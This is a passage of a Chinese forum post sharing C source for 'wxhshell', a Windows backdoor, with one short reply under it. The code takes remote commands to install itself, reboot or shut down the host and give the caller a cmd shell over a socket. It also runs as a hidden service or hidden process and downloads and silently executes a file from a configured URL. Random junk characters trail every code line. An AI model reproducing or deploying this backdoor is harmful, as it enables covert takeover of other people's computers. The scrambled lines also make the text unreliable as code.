  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QAs)zl0  
  } >qeDb0  
  else { $}9jv3>)  
6'^_*n  
    switch(cmd[0]) { 9@ k8$@  
  &dyQ6i$],  
  // 帮助 lL D#|T3  
  case '?': { \V? .^/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mY"7/dw<v  
    break; 8A>OQR  
  } #l=yD]t PU  
  // 安装 1djZ5`+  
  case 'i': { 6{h\CU}"  
    if(Install()) &6eo;8 `U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e?>  
    else d_9 C m@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2bt>t[0ad  
    break; 4^F[Gp?  
    } j4~(6Imm  
  // 卸载 L'+bVP{L  
  case 'r': { ] ZV[}7I.  
    if(Uninstall()) [`n_> p!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =U]9>  
    else OX_y"]utU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +_5*4>MC  
    break; LV:L0D7y  
    } R(1:I@<?E  
  // 显示 wxhshell 所在路径 ;uBGB h<  
  case 'p': { 6S`_L  
    char svExeFile[MAX_PATH]; \<7Bx[/D4  
    strcpy(svExeFile,"\n\r"); =7 l uV_5  
      strcat(svExeFile,ExeFile); Y2`sL,'h  
        send(wsh,svExeFile,strlen(svExeFile),0); I dK*IA4  
    break; \Zj%eW!m  
    } H*=cw<  
  // 重启 }z` x-(V  
  case 'b': { hb`9Vn\-E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \|PiQy*_?  
    if(Boot(REBOOT)) Z@bgJL8 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -CvmZ:n  
    else { dbf<k%i6  
    closesocket(wsh); c8uaZvfW  
    ExitThread(0); \c_g9Iqa  
    } qc8Ge\3s  
    break; x3+ -wv  
    } M':-f3aT%  
  // 关机 V:\:[KcL^  
  case 'd': { csP4Oq\g[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zL"e.  
    if(Boot(SHUTDOWN)) <.h7xZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WVP?Ie8  
    else { "N+4TfXy  
    closesocket(wsh); s)-An( Uw  
    ExitThread(0); { DYY9MG8  
    } S?688  
    break; 5CI {&E  
    } h FU8iB`Q  
  // 获取shell }-3 VK%  
  case 's': { X=QX9Ux?^  
    CmdShell(wsh); #V k?  
    closesocket(wsh); "laf:Ty1  
    ExitThread(0); *AH `ob}  
    break; 4|x _C-@  
  } SU0SsgFB  
  // 退出 L=lSW7R  
  case 'x': { ;Q{D]4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a\P:jgF  
    CloseIt(wsh); +XWTu!  
    break; ?_eLrz4>L^  
    } FB6Lz5:Vf  
  // 离开 +hRy{Ps/  
  case 'q': {  2E*=EjGV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tA(oD4H9  
    closesocket(wsh); 8"h;+;  
    WSACleanup(); fG \" p  
    exit(1); E@ea ?Sx  
    break; #2]*qgA4  
        } A/y|pg5  
  } c=v016r\  
  } $}/tlA&e  
7Z>vQf B  
  // 提示信息 >CvhTrPI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); byM%D$R  
} \uZpAV)5  
  } $0V+<  
Uu7]`Ul  
  return; RP~nLh3=\  
} t|U5]$5  
u`v&URM  
// shell模块句柄 By1T um+I1  
int CmdShell(SOCKET sock) 6,q0F*q  
{ \&F4Wl>`  
STARTUPINFO si; +$C9@CZM9  
ZeroMemory(&si,sizeof(si)); %R GZu\p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o*K7(yUL4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0>Y3xNb  
PROCESS_INFORMATION ProcessInfo; |k}<Zz1UM  
char cmdline[]="cmd"; ? dJd7+A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %bw+>:Tr  
  return 0; g4+K"Q /M  
} An_(L*Qz  
-mO#HZIq  
// 自身启动模式 q^xG%YdPz+  
int StartFromService(void) {IOc'W-C#2  
{ -nGcm"'6F  
typedef struct 4U dk#  
{ > TYDkEs0  
  DWORD ExitStatus; Noj*K6  
  DWORD PebBaseAddress; nmpc<&<<  
  DWORD AffinityMask; 7rD 8  
  DWORD BasePriority; #M!u';bZ  
  ULONG UniqueProcessId; z}-CU GS  
  ULONG InheritedFromUniqueProcessId; gdIk%m4  
}   PROCESS_BASIC_INFORMATION; /Xi21W/  
0(i3RPIj\  
PROCNTQSIP NtQueryInformationProcess; >vD}gGBe  
2S7 BzZ/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x<I[?GT=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3$"V,_TBZ  
G$,s.MSf  
  HANDLE             hProcess; }[leUYi`  
  PROCESS_BASIC_INFORMATION pbi; {XU!p: x  
l2;$qNAo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b@J"b(  
  if(NULL == hInst ) return 0; N[eL Qe]q  
k -G9'c~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )2c]Z|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /)[-5n{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?=lb@U  
U-DQ?OtmC@  
  if (!NtQueryInformationProcess) return 0; +E. D:  
= cRmaD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2Pb+/1*ix  
  if(!hProcess) return 0; kk5&lak2V  
}"+"nf5h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h GA2.{  
G^{~'TZv%  
  CloseHandle(hProcess); "d<uc j  
6"iNh)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EY]H*WJJ  
if(hProcess==NULL) return 0; *  1}dk`-  
=x+1A)Q  
HMODULE hMod; YC;@^  
char procName[255]; d>u^ 7:  
unsigned long cbNeeded; & &CrF~  
_wXT9`|3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }V ]*FCpQ  
0WzoI2Q  
  CloseHandle(hProcess); 8b0j rt  
?5't1219  
if(strstr(procName,"services")) return 1; // 以服务启动 d"5_x]Z;  
 IZrcn  
  return 0; // 注册表启动 Ch{6=k bK  
} &n,v@ gt  
0`zdj  
// 主模块 oi`L ;w|]  
int StartWxhshell(LPSTR lpCmdLine) ,R=!ts[qi  
{ -W6@[5c  
  SOCKET wsl; Sm[#L`eqW  
BOOL val=TRUE; { 1~]}K2  
  int port=0; i;pg9Vw  
  struct sockaddr_in door; DI)"F OM6  
64b AWHv  
  if(wscfg.ws_autoins) Install(); l\0PwD  
[;hkT   
port=atoi(lpCmdLine); rXmrT%7k  
V=fu[#<@Ig  
if(port<=0) port=wscfg.ws_port; %@%rdrZ  
Q.9,W=<6  
  WSADATA data; L+ew/I>:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q5Zu'-Cx@  
}WJX Q@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T$mT;k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N @_y<7#C  
  door.sin_family = AF_INET; &LI q?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *CGHp8  
  door.sin_port = htons(port); xj33g6S  
d_(;sW"I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8\E=p+C  
closesocket(wsl); 8oU R/___  
return 1; De 3;}]wC  
} c|:EMYS  
aNM*=y`  
  if(listen(wsl,2) == INVALID_SOCKET) { Q0`@=5?-  
closesocket(wsl); }+lK'6  
return 1; \_u{ EB'b  
} {{gd}g  
  Wxhshell(wsl); ~i?Jg/qcxN  
  WSACleanup(); t{UWb~"  
Xgh%2 ;:  
return 0; .+Q1h61$T  
p]X+#I<  
} D*46,>Tv  
~{g/  
// 以NT服务方式启动 m.6uLaD"!}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z1tD2jL_  
{ pqvl,G5  
DWORD   status = 0; (=rDt93J  
  DWORD   specificError = 0xfffffff; i:N-Q)<Q*)  
\8*j"@ !H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; us5Zi#}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K HNU=k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %iPIgma  
  serviceStatus.dwWin32ExitCode     = 0; sMAH;'`!Eu  
  serviceStatus.dwServiceSpecificExitCode = 0; &Odrq#o?R  
  serviceStatus.dwCheckPoint       = 0; xP9R d/xa|  
  serviceStatus.dwWaitHint       = 0; wmK;0 )|H  
}x{1{Bw>Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (j:[<U  
  if (hServiceStatusHandle==0) return; P\[K)N/1  
gzK/l:  
status = GetLastError(); rx]Q,;"  
  if (status!=NO_ERROR) ku57<kb  
{ H[g i`{c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EQ"_kJ>81Y  
    serviceStatus.dwCheckPoint       = 0; )2Q0NbDn  
    serviceStatus.dwWaitHint       = 0; #WUN=u   
    serviceStatus.dwWin32ExitCode     = status; 8>|4iT  
    serviceStatus.dwServiceSpecificExitCode = specificError; i< imE#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /QlzWson  
    return; _Q\rZ l  
  } 9JMf T]  
* XDe:A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9]chv>dO)=  
  serviceStatus.dwCheckPoint       = 0; `nII@ !  
  serviceStatus.dwWaitHint       = 0; K\RMX?YsP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }#g &l*P  
} # mM9^LJ   
1A(f_ 0,.Q  
// 处理NT服务事件,比如:启动、停止 }>f%8O}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (.z0.0W  
{ 3 ?gfDJfE  
switch(fdwControl) |J-tU)|1vl  
{ B}y#AVSA  
case SERVICE_CONTROL_STOP: ]We0 RD"+  
  serviceStatus.dwWin32ExitCode = 0; 9l[C&0w#\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d]_].D$  
  serviceStatus.dwCheckPoint   = 0; tT A  
  serviceStatus.dwWaitHint     = 0; !oRN,m[7)p  
  { V#4oxkm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {R7RBX  
  } M_?B*QZJI  
  return; pxbuZ9w2Q  
case SERVICE_CONTROL_PAUSE: I8W9Kzf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #RdcSrw)W!  
  break; <|3F('Q"  
case SERVICE_CONTROL_CONTINUE: , P1m#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >_\]c-~<  
  break; -)"\?+T  
case SERVICE_CONTROL_INTERROGATE: SoCN.J30  
  break; Efd@\m:~>  
}; RT%{M1tkS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J1r\Cp+h0  
} q?w%%.9]X  
h^."wv  
// 标准应用程序主函数 zEE:C|50  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'L1yFv  
{ djdSD  
,ueA'GZ  
// 获取操作系统版本 t1#f*G5  
OsIsNt=GetOsVer();  )DW".c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *xeJ4h  
 W"~"R  
  // 从命令行安装 H]dN'c-  
  if(strpbrk(lpCmdLine,"iI")) Install(); K(NP%:  
'o8,XBv-  
  // 下载执行文件 ARJtE@s6Y  
if(wscfg.ws_downexe) { +,ld;NM{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ye {y[$#3  
  WinExec(wscfg.ws_filenam,SW_HIDE); H!y-o'Z  
} }6__E;h#J  
6il+hz2&lH  
if(!OsIsNt) { #LYx;[D6  
// 如果时win9x,隐藏进程并且设置为注册表启动 i&}LuF8  
HideProc(); .D=#HEshk  
StartWxhshell(lpCmdLine); zs-,Y@ZL  
} cnDBT3$~Z  
else naY#`xig  
  if(StartFromService()) nrTCq~LO(  
  // 以服务方式启动 2Y}A9Veb  
  StartServiceCtrlDispatcher(DispatchTable); esv<b>`R  
else `1 Tg8  
  // 普通方式启动 "+&@iL  
  StartWxhshell(lpCmdLine); _=qk.|p/  
nzB!0U  
return 0; %CrpUx  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五